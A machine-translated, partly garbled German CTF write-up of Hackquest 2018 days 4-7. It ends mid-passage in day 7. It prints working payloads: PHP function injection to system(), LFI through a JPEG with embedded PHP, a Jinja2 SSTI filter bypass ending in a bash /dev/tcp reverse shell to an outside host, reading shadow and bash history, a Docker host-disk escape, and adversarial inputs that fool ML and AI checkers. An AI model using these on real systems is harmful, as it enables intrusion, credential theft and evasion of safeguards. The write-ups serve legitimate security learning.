Hackquest 2018. Ergebnisse & Zuschreibungen. Tag 4-7

Wie versprochen veröffentlichen wir den zweiten Teil der jährlichen Hackquest-Entscheidungen. Tag 4-7: Die Spannung steigt und die Aufgaben sind interessanter!


Inhalt:




Tag4. Imagehub


Diese Aufgabe wurde von SPbCTF vorbereitet.

Unsere neue Kreation wird Instagram töten. Wir werden Sie in nur zwei Worten überzeugen:

1. Filter. Neue nie zuvor gesehene Filter für Ihre hochgeladenen Bilder.
2. Caching. Der benutzerdefinierte HTTP-Server stellt sicher, dass Bilddateien im Browser-Cache landen.

Probieren Sie es jetzt aus! imagehub.spb.ctf.su

Führen Sie / get_the_flag aus, um zu gewinnen.
Benutzerdefinierte Server-Binärdatei: dppth

Hinweise
25.10.2008 20:00
Aufgabe wurde nicht gelöst. 24 Stunden hinzugefügt.

25.10.2008 17:00
Es gibt zwei Fehler, die wir kennen. Erstens erhalten Sie die Web-App-Quellen, zweitens erhalten Sie RCE.

Übersicht:


Ausführbar:

  • ELF x86_64
  • Implementiert einen einfachen http-Server
  • Wenn die angeforderte Datei ein ausführbares Bit hat, wird es an php-fpm übergeben
  • Code implementiert benutzerdefiniertes Etag-Caching

Webpart:

  • Verfügt über eine Funktion zum Hochladen von Dateien. Das Bild kann mit vordefinierten Filtern geändert werden.
  • Admin-Seite mit Basic on /? Admin = show

Sicherheitslücke: Lesen des Quellcodes


Die Cache-Funktionalität scheint interessant zu sein, da wir den Server dazu bringen können, einen beliebigen Dateibereich (sogar einen 1-Byte-Bereich) zu hashen.

Etag = sprintf("%08x%08x%08x", file_mtime, hash, file_size);
Hash_Funktion:
 def etag_hash(data): v16 = [0 for _ in range(16)] v16[0] = 0 v16[1] = 0x1DB71064 v16[2] = 0x3B6E20C8 v16[3] = 0x26D930AC v16[4] = 0x76DC4190 v16[5] = 0x6B6B51F4 v16[6] = 0x4DB26158 v16[7] = 0x5005713C v16[8] = 0xEDB88320 v16[9] = 0xF00F9344 v16[10] = 0xD6D6A3E8 v16[11] = 0xCB61B38C v16[12] = 0x9B64C2B0 v16[13] = 0x86D3D2D4 v16[14] = 0xA00AE278 v16[15] = 0xBDBDF21C hash = 0xffffffff for i in range(len(data)): v5 = ((hash >> 4) ^ v16[(hash ^ data[i]) & 0xF]) & 0xffffffff hash = ((v5 >> 4) ^ v16[v5 & 0xF ^ (data[i] >> 4)]) & 0xffffffff return (~hash) & 0xffffffff 


Leider ist etag für ausführbare Dateien (* .php) entfernt:

 stat_0(v2, &stat_buf); if ( stat_buf.st_mode & S_IEXEC ) { setHeader(a2->respo, "cache-control", "no-store"); deleteHeade(a2->respo, "etag"); set_environment_info(a1); dup2(fd, 0); snprintf(s, 4096, "/usr/bin/php-cgi %s", a1->url); 

Vor der Seitenausführung wird noch eine Überprüfung durchgeführt. Wenn wir also den etag-Wert richtig erraten ( falls keine Übereinstimmung vorliegt), wird der Server eine Statusantwort von 304 Not Modified senden. Auf diese Weise können wir den Quellcode byteweise bruteforce.

 v11 = getHeader(&s.request, "if-modified-since"); if ( v11 ) { v3 = getHeader(&v14, "last-modified"); if ( !strcmp(v11, v3) ) send_status(304); } v12 = getHeader(&s.request, "if-none-match"); if ( v12 ) { v4 = getHeader(&v14, "etag"); if ( !strcmp(v12, v4) ) send_status(304); } exec_and_prepare_response_body(&s, &a2a); 

Fassen wir zusammen, was wir von RE bekommen haben:

  1. Der Zeitstempel kann leicht aus dem zuletzt geänderten Antwortheader (Zeichenfolge -> Zeitstempel) gelesen werden.
  2. Der Bereich darf eine Bytelänge betragen (wir erhalten also nur Hash für ein Byte).
  3. Hash kann für einen 1-Byte-Bereich erraten werden (256 mögliche Werte)
  4. Die Größe ist brutal erzwingbar, aber wir müssen mindestens ein Byte aus der Zieldatei kennen.
  5. Da wir eine Quelle für * .php-Dateien erhalten möchten, ist es eine gute Annahme, dass die Datei mit "<? Php" beginnt.

Der erste Schritt besteht darin, die Größe zu ermitteln, und der zweite darin, den tatsächlichen Dateiinhalt abzurufen.
Mit Multithread-Code erreichte ich die Geschwindigkeit von ~ 1 Zeichen / Sek. Und gab einige Dateien aus:
index.php
 <?php // error_reporting(0); if (isset($_GET["admin"]) && (!isset($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW'] !== '888b2f04eef9a49fc87fa81089b736de')) { header('WWW-Authenticate: Basic realm="Admin Area"'); header('HTTP/1.0 401 Unauthorized'); } require "upload.php"; $uploader = new ImageUploader(); $result = $uploader->upload(); if ($result === true) die(); if ($result > 0) { echo "Error: " . $result; } if ($uploader->upload() !== true) { include "templates/main.php"; } 


upload.php
  <?php require "includes/uploaderror.php"; require "includes/verify.php"; require "includes/filters.php"; class ImageUploader { const TARGET_DIR = "51a8ae2cab09c6b728919fe09af57ded/"; public function upload() { $result = verify_parameters(); if ($result !== true) { return $result; } $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]); $size = intval($_POST['size']); if (!move_uploaded_file($_FILES["imageFile"]["tmp_name"], $target_file)) { return UploadError::MOVE_ERROR; } $text = $_POST['text']; $filterImage = $_POST['filter']($size, $text); $imagick = new \Imagick(realpath($target_file)); $imagick->scaleimage($size, $size); $imagick->setImageOpacity(0.5); $imagick->compositeImage($filterImage, imagick::CHANNEL_ALPHA, 0, 0); header("Content-Type: image/jpeg"); echo $imagick->getImageBlob(); return true; } } 

enthält / filter.php
 <?php function make_text($image, $size, $text) { $draw = new ImagickDraw(); $draw->setFillColor('white'); $draw->setFontSize( 18 ); $image->annotateImage($draw, $size / 2 - 65, $size - 20, 0, $text); return $image; } function futut($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(127,127,127,127)' ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function incasinato($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(130,100,255,3)' ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function fertocht($size, $text) { $image = new Imagick(); $s = $size % 255; $pixel = new ImagickPixel( "rgba($s,$s,$s,127)" ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function jebeno($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(0,255,255,255)' ); $image->newImage($size, $size, $pixel); $iterator = $image->getPixelIterator(); $i = 0; foreach ($iterator as $row=>$pixels) { $i++; $j=0; foreach ( $pixels as $col=>$pixel ) { $j++; $color = $pixel->getColor(); $alpha = $pixel->getColor(true); $r = ($color['r']+$i*10) % 255; $g = ($color['g']-$j) % 255; $b = ($color['b']-($size-$j)) % 255; $a = ($alpha['a']) % 255; $pixel->setColor("rgba($r,$g,$b,$a)"); } $iterator->syncIterator(); } $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function kuthamanga($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(127,127,127,127)' ); $image->newImage($size, $size, $pixel); $iterator = $image->getPixelIterator(); $i = 0; foreach ($iterator as $row=>$pixels) { $i++; $j=0; foreach ( $pixels as $col=>$pixel ) { $j++; $color = $pixel->getColor(); $alpha = $pixel->getColor(true); $r = ($color['r']+$i) % 255; $g = ($color['g']-$j) % 255; $b = ($color['b']-$i) % 255; $a = ($alpha['a']+$j) % 255; $pixel->setColor("rgba($r,$g,$b,$a)"); } $iterator->syncIterator(); } $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } 


enthält / uploaderror.php
  <?php class UploadError { const POST_SUBMIT = 0; const IMAGE_NOT_FOUND = 1; const NOT_IMAGE = 2; const FILE_EXISTS = 3; const BIG_SIZE = 4; const INCORRECT_EXTENSION = 5; const INCORRECT_MIMETYPE = 6; const INVALID_PARAMS = 7; const INCORRECT_SIZE = 8; const MOVE_ERROR = 9; } 


enthält / verify.php
  <?php function verify_parameters() { if (!isset($_POST['submit'])) { return UploadError::POST_SUBMIT; } if (!isset($_FILES['imageFile'])) { return UploadError::IMAGE_NOT_FOUND; } $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]); $imageFileType = strtolower(pathinfo($_FILES["imageFile"]["name"], PATHINFO_EXTENSION)); $imageFileInfo = getimagesize($_FILES["imageFile"]["tmp_name"]); if($imageFileInfo === false) { return UploadError::NOT_IMAGE; } if ($_FILES["imageFile"]["size"] > 1024*32) { return UploadError::BIG_SIZE; } if (!in_array($imageFileType, ['jpg'])) { return UploadError::INCORRECT_EXTENSION; } $imageMimeType = $imageFileInfo['mime']; if ($imageMimeType !== 'image/jpeg') { return UploadError::INCORRECT_MIMETYPE; } if (file_exists($target_file)) { return UploadError::FILE_EXISTS; } if (!isset($_POST['filter']) || !isset($_POST['size']) || !isset($_POST['text'])) { return UploadError::INVALID_PARAMS; } $size = intval($_POST['size']); if (($size <= 0) || ($size > 512)) { return UploadError::INCORRECT_SIZE; } return true; } 


Dies gibt uns:
  • Benutzername / Passwort für Admin Basic. Völlig nutzlos, druckt es nur Zeichenfolge:
    Congratz. Jetzt können Sie Quellen lesen. Geh tiefer.
  • Funktionsinjektion (FI) am Filtereingang .
  • Die Validierung des Bild-Uploads ist für uns jetzt klar.
  • Die ImageMagic-Bibliothek wird verwendet. Die Annahme, dass es für Exploit verwendet wird, ist eine Sackgasse. Ich glaube nicht, dass es eine Möglichkeit gibt, es auszunutzen, ohne sich auf FI zu verlassen.

Sicherheitslücke: Funktionsinjektion


Die Datei upload.php enthält verdächtigen Code:

 $filterImage = $_POST['filter']($size, $text); 

Wir können es vereinfachen, um:

 $filterImage = $_GET['filter'](intval($_GET['size']), $_GET['text']); 

Sie können diese Sicherheitsanfälligkeit tatsächlich erkennen, indem Sie etwas Fuzzing durchführen. Das Senden von Funktionsnamen wie " var_dump " oder " debug_zval_dump " in der ' Filter' -Eingabe führt zu interessanten Antworten vom Server.

 int(51) string(10) "jsdksjdksds"</code> So, its not hard to guess how server side code looks like. If we had an write permission to www root, than we could just use two functions: <code>file_put_contents(0, "<?php system($_GET[a]);") chmod(0, 777) 

Aber das ist nicht unser Fall. Es gibt mindestens zwei Möglichkeiten, die Aufgabe zu lösen.

filter_input_array vector (unbeabsichtigte Lösung): RCE-Vektor


Als ich über mögliche Wege function filter_input_array , um RCE zu erhalten, bemerkte ich, dass die function filter_input_array uns eine ziemlich gute Kontrolle über die $filterImage variable .

Wenn Sie das Filterarray als zweites Argument übergeben, können Sie ein beliebiges Array für das Funktionsergebnis erstellen.

Aber ImageMagic erwartet nichts anderes als die Imagick-Klasse. :(

Vielleicht können wir die Klasse aus der Eingabe unserialisieren? Suchen wir nach zusätzlichen Filterargumenten in der Beschreibung filter_input_array .

Es wird nicht auf der Funktionsseite selbst erwähnt, aber wir können tatsächlich einen Rückruf zur Eingabevalidierung übergeben . Das Beispiel FILTER_CALLBACK gilt für filter_input , funktioniert aber auch für filter_input_array !

Dies bedeutet, dass wir benutzerdefinierte Benutzereingaben mithilfe einer Funktion mit einem Argument (eval? System?) "Validieren" können und die Kontrolle über das Argument haben.

 FILTER_CALLBACK = 1024 

Beispiel für das Abrufen von RCE:

 GET: a=/get_the_flag POST: filter=filter_input_array size=1 text[a][filter]=1024 text[a][options]=system submit=1 

Antwort:

 *** Wooooohooo! *** Congratulations! Your flag is: 1m_t3h_R34L_binaeb_g1mme_my_71ck37 -- SPbCTF (vk.com/spbctf) 

Gesuchte Zeile: 1m_t3h_R34L_binaeb_g1mme_my_71ck37

Etwas fühlte sich definitiv falsch an, denn warum sollten wir überhaupt den Quellcode bekommen müssen? Nur für einen Hinweis? Warum hochgeladene Dateien auf der Festplatte gespeichert wurden, ist es nicht bequemer, keine Junk-Dateien von den Challenge-Benutzern zu speichern?

Der Zufall bei der Benennung von filter = filter _input_array, text [a] [ filter ] gab mir die Gewissheit, dass alles wie erwartet durchgeführt wurde ("nie zuvor gesehene Filter ", siehe ✓).

spl_autoload-Vektor: LFI-Vektor


Nachdem ich die Lösung eingereicht hatte, wurde ich von einem der Herausforderungsautoren kontaktiert, der sagte, dass mein Vektor nicht beabsichtigt war und eine andere Funktion verwendet werden kann ( spl_autoload ):

Es ist nicht offensichtlich, wie wir diese Funktion verwenden können, da sie eine Klasse "<Klassenname>" aus der Datei "<Klassenname> <Eine_Erweiterung>" laden soll. Die Unterschrift lautet wie folgt:

 void spl_autoload ( string $class_name [, string $file_extensions = spl_autoload_extensions() ] ) 

Unser erstes Argument kann nur Nummer (1-512) sein, daher ist der Klassenname eine ... Nummer? ... seltsam.
Das Erweiterungsargument sieht auch unbrauchbar aus. Kontrollierte Dateien sind eine Ebene tiefer als upload.php (wir müssen ein Präfix übergeben).

Diese Funktion kann uns tatsächlich einen LFI geben, wenn sie folgendermaßen verwendet wird:

 spl_autoload(51, "a8ae2cab09c6b728919fe09af57ded/1.jpg") = include("51a8ae2cab09c6b728919fe09af57ded/1.jpg") 

Der Verzeichnisname wird aus dem durchgesickerten Quellcode ermittelt. Und wir hatten Glück, denn wenn das erste Zeichen des Namens etwas anderes als eine Zahl wäre -> könnten wir keine Dateien von dort einschließen.

Also ... alles was wir jetzt brauchen ist eine "Art-of- Valid " ( getimagesize muss es akzeptieren) * .jpg- Datei mit emendiertem PHP-Code zu übergeben. Ein einfaches Beispiel (PHP Payload in Exif) ist beigefügt.

Laden Sie es als 1111.jpg hoch und führen Sie Folgendes aus :

GET:
a = / get_the_flag

POST:
filter = spl_autoload
Größe = 51
text = a8ae2cab09c6b728919fe09af57ded / 1111.jpg
submit = 1

Antwort:
... .JFIF ... Exif MM * . " (. . .i . . D . D .. V ..
*** Wooooohooo! ***

Congratulations! Your flag is:
1m_t3h_R34L_binaeb_g1mme_my_71ck37

-- SPbCTF (vk.com/spbctf)

Gesuchte Zeile: 1m_t3h_R34L_binaeb_g1mme_my_71ck37
Upload und LFI können in einer Anfrage durchgeführt werden.



Tag 5. Zeit


Diese Aufgabe wurde vom Digital Security-Team vorbereitet
Das erste, was Sie brauchen, ist, die Zeit zu unterdrücken, das zweite ist, über die kleine Welt hinauszugehen. Danach bekommst du eine Waffe gegen das Boss-Endlevel. Viel Glück!

51.15.75.80

Hinweise
27.10.2008 16:00
Oh, wie viele Geräte auf einer Box ... sind sie wirklich nützlich?
27.10.2008 14:35
Wenn Sie mit dem Filter im Zeitfenster fertig wurden, können Sie die Funktionen eines gesamten Systems nutzen. Sei nicht schüchtern.
27.10.2008 14:25
Überprüfen Sie den virtuellen Host und verweilen Sie nicht bei 200
26.10.2008 19:25
Aufgabe wurde nicht gelöst. 24 Stunden hinzugefügt.
26.10.2008 17:35
Nutzen Sie alle Ihre Möglichkeiten.
26.10.2008 12:25
Sie benötigen keine forensische Software, um eine Phase einer Aufgabe abzuschließen.

1) WordPress


Zunächst erhielten wir die Adresse 51.15.75.80 .
Wir führen hehdirb aus - wir sehen das Verzeichnis / wordpress /. Gehen Sie sofort zum Admin-Bereich unter admin: admin .
Im Admin-Bereich sehen wir, dass es keine Berechtigungen zum Ändern von Vorlagen gibt, sodass Sie nicht nur RCE erhalten können. Es gibt jedoch einen versteckten Beitrag:
25.09.2008 VON ADMINISTRATOR
Privat: Hinweise zum Zeitfenster
Login: Cristopher
Passwort: L2tAPJReLbNSn085lTvRNj
Host: timepanel.zn

2) SSTI


Natürlich müssen Sie zum selben Server wechseln, indem Sie das virtuelle Host timepanel.zn angeben.
Wir starten hehdirb auf diesem Host - wir sehen das Verzeichnis / adm_auth, wir gehen unter dem oben angegebenen Login und Passwort. Wir sehen die Form, in der Sie die Daten ("von" und "bis") eingeben müssen, um einige Informationen zu erhalten. Gleichzeitig wird im Antwort-HTML-Code ein Kommentar angezeigt, in dem dieselben Daten wiedergegeben werden:

 <!- start time: 2018-10-25 20:00:00, finish time:2018-10-26 20:00:00 -> 

Offensichtlich sollte der Fehler hier höchstwahrscheinlich mit dieser Überlegung zusammenhängen, und es ist unwahrscheinlich, dass es sich um XSS handelt. Versuchen Sie es also mit SSTI:

 start=2018-10-25+20%3A00%3A00{{ 1 * 0 }}&finish=2018-10-26+20%3A00%3A00 

Die Antwort lautet:

 <!- start time: 2018-10-25 20:00:000, finish time:2018-10-26 20:00:00 -> 

Durch das Senden von {{self}}, {{'a' * 5}} erkennen wir, dass dies Jinja2 ist , aber Standardvektoren funktionieren nicht. Beim Senden von Vektoren ohne {{Klammern}} sehen wir, dass die Antwort nicht die Zeichen "_" und einige Wörter, z. B. "Klasse", widerspiegelt. Dieser Filter kann leicht umgangen werden, indem request.args und das Konstrukt | attr () verwendet werden und einige Bytes mit einer Escape-Sequenz codiert werden.

Letzte Abfrage für Backconnect
POST /adm_main?sc=from+subprocess+import+check_output%0aRUNCMD+%3d+check_output&cmd=bash+-c+'bash+-i+>/dev/tcp/deteact.com/8000+<%261' HTTP/1.1
Host: timepanel.zn
Content-Type: application/x-www-form-urlencoded
Content-Length: 616
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.DrOOLQ.ROX16sOUD_7v5Ct-dV5lywHj0YM

start={{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg','w')|attr('write')(request.args.sc) }}
{{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg')|attr('read')() }}
{{ config|attr('from\x5fpyfile')('/var/tmp/BECHED.cfg') }}
{{ config['RUNCMD'](request.args.cmd,shell=True) }}
&finish=2018-10-26+20%3A00%3A00


3) LPE


Nachdem Sie RCE erhalten haben, müssen Sie die Berechtigungen für root erhöhen. Es gibt mehrere falsche Pfade (/ usr / bin / special, /opt/privesc.py und einige weitere), die Sie nicht beschreiben möchten, da sie nur einige Zeit in Anspruch nehmen. Es gibt auch ein binar / usr / bin / zero, das kein suid-Bit hat, aber es stellt sich heraus, dass es alle Dateien lesen kann (senden Sie ihm einfach den hexadezimal codierten Pfad in stdin).

Der Grund sind Funktionen (/ usr / bin / zero = cap_dac_read_search + ep).
Wir lesen den Schatten, setzen den zu bürstenden Hash, aber während er gebürstet wird, müssen wir vermutlich die Datei eines anderen Benutzers lesen, der sich auf dem System befindet:

$ echo /home/cristopher/.bash_history | xxd -p | zero

Ich kann etwas für dich lesen
su
Dpyax4TkuEVVsgQNz6GUQX

4) Docker Flucht / Forensik


Wir haben also eine Wurzel. Dies ist jedoch nicht das Ende. Wir setzen apt install extundelete und finden einige weitere interessante Dateien im Dateisystem, die sich auf die nächste Stufe beziehen:

Um ein Ticket zu erhalten, müssen Sie ein Bild so ändern, dass es als "1" gekennzeichnet ist. Sie haben ein Modell und ein Bild. curl -X POST -F image=@ZeroSource.bmp 'http://51.15.100.188 {6491 / Predict'.

Jetzt stehen wir vor der Standardaufgabe, ein wettbewerbsfähiges Beispiel für das Modell des maschinellen Lernens zu generieren. Zu diesem Zeitpunkt konnte ich jedoch noch nicht alle benötigten Dateien abrufen. Dies war nur möglich, indem der R-Studio-Agent auf den Server gestellt und die Remote-Forensik in Angriff genommen wurde. Nachdem ich fast das herausgezogen hatte, was ich brauchte, stellte ich fest, dass der Docker-Container tatsächlich in einem Modus ausgeführt wird, in dem Sie die gesamte Festplatte bereitstellen können

Wir machen mount / dev / vda1 / root / kek und erhalten Zugriff auf das Host-Dateisystem und gleichzeitig Root-Zugriff auf den gesamten Server (da wir unseren eigenen SSH-Schlüssel setzen können). Wir nehmen KerasModel.h5, ZeroSource.bmp heraus.

5) Widersprüchliche ML


Aus dem Bild ist sofort ersichtlich, dass das neuronale Netzwerk auf dem MNIST-Datensatz trainiert wird. Wenn wir versuchen, ein beliebiges Bild an den Server zu senden, erhalten wir die Antwort, dass sich die Bilder zu stark unterscheiden. Dies bedeutet, dass der Server den Abstand zwischen den Vektoren misst, da er genau ein gegnerisches Beispiel und nicht nur ein Bild mit dem Bild „1“ möchte.

Wir versuchen den ersten Angriff, den wir von der Narrenbox bekommen - wir bekommen den Angriffsvektor, aber der Server akzeptiert ihn nicht (die Entfernung ist zu groß). Dann ging ich in die Wildnis und fing an, One Pixel Attack-Implementierungen unter MNIST neu zu erstellen, und es kam nichts dabei heraus, da dieser Angriff den Differential-Evolutions-Algorithmus verwendet, kein Gradient ist und versucht, das Minimum stochastisch zu finden, geleitet von Änderungen im Wahrscheinlichkeitsvektor. Der Wahrscheinlichkeitsvektor änderte sich jedoch nicht, da das neuronale Netzwerk zu sicher war.

Am Ende musste ich mich an den Hinweis erinnern, der in der Originaltextdatei auf dem Server war - "(Normilize ^ _ ^)". Nach sorgfältiger Normalisierung war es möglich, den Angriff mithilfe des L-BFGS-Optimierungsalgorithmus effektiv auszuführen. Nachfolgend ist der letzte Exploit aufgeführt:

 import foolbox import keras import numpy as np import os from foolbox.attacks import LBFGSAttack from foolbox.criteria import TargetClassProbability from keras.models import load_model from PIL import Image image = Image.open('./ZeroSource.bmp') image = np.asarray(image, dtype=np.float32) / 255 image = np.resize(image, (28, 28, 1)) kmodel = load_model('KerasModel.h5') fmodel = foolbox.models.KerasModel(kmodel, bounds=(0, 1)) adversarial = image[:, :] try: attack = LBFGSAttack(model=fmodel, criterion=TargetClassProbability(1, p=.5)) adversarial = attack(image[:, :], label=0) except: print 'FAIL' quit() print kmodel.predict_proba(adversarial.reshape(1, 28, 28, 1)) adversarial = np.array(adversarial * 255, dtype='uint8') im = Image.open('ZeroSource.bmp') for x in xrange(28): for y in xrange(28): im.putpixel((y, x), int(adversarial[x][y][0])) im.save('ZeroSourcead1.bmp') os.system("curl -X POST -F image=@ZeroSourcead1.bmp 'http://51.15.100.188:36491/predict'") 

Gesuchte Zeile: H3y_Y0u'v_g01_4_n1c3_t1cket



Tag 6. Super vm


Diese Aufgabe wurde vom CTF- Team der Schule vorbereitet.
Schauen Sie sich einen neuen Schulungsservice an! zn.sibears.ru:8000

Im Moment möchten wir Sie an einem Beta-Test einer neuen virtuellen Maschine beteiligen, die speziell zum Testen der Programmierkenntnisse unserer Neulinge entwickelt wurde. Wir haben den intellektuellen Schutz vor Betrug hinzugefügt und möchten nun alles gründlich überprüfen, bevor wir das Platfotm anbieten. Mit der VM können Sie einfache Programme ausführen ... oder nicht nur ?!

goo.gl/iKRTrH

Hinweise
27.10.2008 16:20
Vielleicht können Sie das KI-System täuschen oder umgehen?

Beschreibung:




Der Dienst ist ein Validierungssystem für Dateien mit der Erweiterung .cmpld, die vom sibVM-Interpreter akzeptiert wird. Die Aufgabe, die das gesendete Programm lösen sollte: Berechnen Sie die Summe der in der Datei input.txt aufgelisteten Zahlen, die etwas an einen acm-Wettbewerb erinnern. Die Beschreibung der Weboberfläche zeigt auch an, dass die gesendeten Programme mit künstlicher Intelligenz überprüft werden.

Der Dienst besteht aus zwei Docker-Containern: Web-Docker und prod_inter .

Web-Docker ist für die Analyse nicht besonders interessant. Er übersetzt lediglich die gesendete Datei in den Container prod_inter, in dem das Interessanteste passiert. Das entsprechende Code-Snippet ist unten dargestellt:


Im Container prod_inter wird die gesendete Datei geprüft und an Testdaten ausgeführt. Für jeden Sendevorgang wird in / tmp / random ein neues Verzeichnis erstellt, in dem die gesendete Datei unter einem zufälligen Namen gespeichert wird. Die Datei flag.txt befindet sich ebenfalls im erstellten Verzeichnis, was wahrscheinlich unser Ziel ist.

Dann beginnt der lustige Teil: Wenn die Datei größer als 8192 Bytes ist, wird die Eingabedatei des Programms mit künstlicher Intelligenz überprüft. Die KI ist ein vorab trainiertes hochpräzises neuronales Netzwerk. Wenn der Test erfolgreich war (Eingabedaten sind mehr als 8192 Byte und das neuronale Netzwerk hat sie der ersten Klasse zugewiesen), führt das Programm fünf verschiedene Tests aus, und das Ergebnis wird in einer Antwortnachricht gesendet und dem Benutzer angezeigt.

Wenn die Größe der Eingabedaten weniger als 8192 Byte beträgt oder sie den Test durch das neuronale Netzwerk nicht bestanden haben, prüfen Sie das Programm vor dem Testen auf das Vorhandensein der Teilzeichenfolge flag.txt und auf Versuche, eine Datei mit demselben Namen zu öffnen. Der Zugriff auf die Datei flag.txt wird überwacht, indem das Programm in der auf SECCOMP- Technologien basierenden secfilter- Sandbox ausgeführt und das Ausführungsprotokoll analysiert wird. Unten finden Sie den entsprechenden Servicecode und ein Beispiel für ein Protokoll beim Versuch, eine verbotene Datei zu öffnen:





Um diese Aufgabe zu lösen, habe ich eine Reihe von Programmen für den sibVM-Interpreter generiert, die die Datei flag.txt öffnen und den numerischen Wert des i-ten Bytes der Datei anzeigen. Gleichzeitig besteht jedes Programm erfolgreich den AI-Test. Als nächstes wird eine Oberflächenanalyse des neuronalen Netzwerks und eine Beschreibung des Betriebs der virtuellen Maschine vorgestellt.

Neuronale Netzwerkanalyse


Das trainierte neuronale Netzwerkmodell ist in der Datei cnn_model.h5 enthalten. Im Folgenden finden Sie allgemeine Informationen zur Netzwerkarchitektur.



Wir wissen nicht genau, was das neuronale Netzwerk erkennt, daher werden wir versuchen, ihm verschiedene Daten zuzuführen. Aus der Architektur des Netzwerks geht hervor, dass es am Eingang ein Einkanalbild der Größe 100X100 empfängt. Um die Auswirkung der Skalierung auf das Ergebnis zu vermeiden, verwenden wir Sequenzen von 10.000 Bytes, die mithilfe der im Dienst verwendeten Funktionen in ein Bild konvertiert wurden. Nachfolgend sind die Ergebnisse des Betriebs eines neuronalen Netzwerks mit verschiedenen Daten aufgeführt:



Basierend auf den Ergebnissen kann angenommen werden, dass das neuronale Netzwerk Bilder mit einer Dominanz von schwarzen Farben (null Bytes) empfängt. Das Schreiben eines Programms, das Flaggenzeichen liest, erfordert höchstwahrscheinlich deutlich weniger als 1000 signifikante Bytes (der Rest kann mit Nullen gefüllt werden), und dann akzeptiert die KI das gesendete Programm.

Dementsprechend bleibt es zur Lösung der Aufgabe, das gewünschte Programm zu schreiben.

SibVM-Dolmetscher


Programmstruktur
Der erste Schritt besteht darin, die Struktur der Programmdatei zu verstehen. Während der Umkehrung des Interpreters stellte sich heraus, dass das Programm mit einem bestimmten Header mit mehreren Servicefeldern beginnen sollte, gefolgt von einer Reihe von Entitäten mit Bezeichnern, unter denen sich eine Hauptentität vom Typ Function befinden sollte.

Dateikopfprüfung


Datensätze abrufen


Verarbeiten von Datensätzen und Starten der Hauptfunktion


Das Ergebnis ist das folgende Eingabedateiformat:



Datentypen


Der Interpreter unterstützt verschiedene Arten von Entitäten. Unten finden Sie eine Tabelle und ihre Bezeichner, die in Zukunft zum Erstellen des Programms benötigt werden.



Erstellen eines Programms für den Dolmetscher


Wie oben erwähnt, muss das Programm einen Haupteintrag vom Typ Funktion (5) haben. Es hat das folgende Format:



Es war nicht schwierig, den Hauptzyklus der Programmausführung herauszufinden.

Hauptausführungszyklus


Die Funktion decode_opcode ruft Informationen über die nächste Operation aus dem Programmcode ab. Die ersten beiden Bytes jeder Operation enthalten den Operationscode, die Anzahl der Argumente und ihren Typ. Die nächsten Bytes (abhängig von Typ und Anzahl der Argumente) werden als Argumente für die Operation interpretiert.

Das Format der ersten beiden Bytes der Operation:



Als Nächstes werden wir einige Anweisungen überprüfen, die uns helfen, das Flag aus dem System zu extrahieren.

Befehlsinterpreter-Diagramm, Funktion execute_opcode


  • Opcode 0 - öffnet die Datei (der Dateiname wird durch das Operationsargument angegeben und ist vom Typ String) und platziert seinen Inhalt als Objekt vom Typ ByteArray oben auf dem Stapel.
  • Opcode 2 - Zeigt den Wert an, der oben auf dem Stapel gespeichert ist. Leider zeigt diese Operation nicht den Wert eines Objekts vom Typ ByteArray . Um dieses Problem zu lösen, können Sie das i-te Element des Arrays abrufen und anzeigen.

Opcode verarbeiten 2


  • Opcode 13 - Entnimmt ein Element aus einem Array nach Index. Das Array und der Elementindex werden aus dem Stapel entfernt, das Ergebnis wird auf den Stapel verschoben. Dementsprechend ist es zum Kompilieren eines Arbeitsprogramms erforderlich, den Index auf den Stapel zu setzen.
  • Opcode 7 - schiebt das Operationsargument auf den Stapel.

Infolgedessen besteht das Programm nur aus 4 Operationen:




Endgültiges Programm


Gesuchte Zeile: flag {76f98c7f11582d73303a4122fd04e48cba5498}



Tag7. Versteckte Ressource


Diese Aufgabe wurde von RuCTF vorbereitet.

Angesichts des n24.elf- Dienstes. Autorisieren Sie einfach auf 95.216.185.52 und erhalten Sie Ihre Flagge.

Hinweise
28.10.2008 20:00
Aufgabe wurde nicht gelöst. 24 Stunden hinzugefügt.

Eine Untersuchung des Servers auf Zugriff unter Verwendung von Standardverbindungsprotokollen ergab den Zugriff über SSH (Port 22). Die bereitgestellte Datei ist eine ausführbare ELF-Datei (die durch die Erweiterung im Namen subtil angedeutet wurde) für Linux.

 #file UwRJ8iaEEd4tSQIe_n24.elf UwRJ8iaEEd4tSQIe_n24.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped 

Bei Verwendung des Zeichenfolgen-Dienstprogramms wurden die Zeilen "/home/task/.ssh" und "/home/task/.ssh/authorized_keys" angezeigt. Schlussfolgerung über die Möglichkeit des Zugriffs auf die kennwortlose SSH-Autorisierungsschlüsseldatei aus der ausführbaren ELF-Datei (im Folgenden als Dienst bezeichnet).

Die Symboltabelle enthält die notwendigen Funktionen zum Öffnen und Schreiben von Dateien:

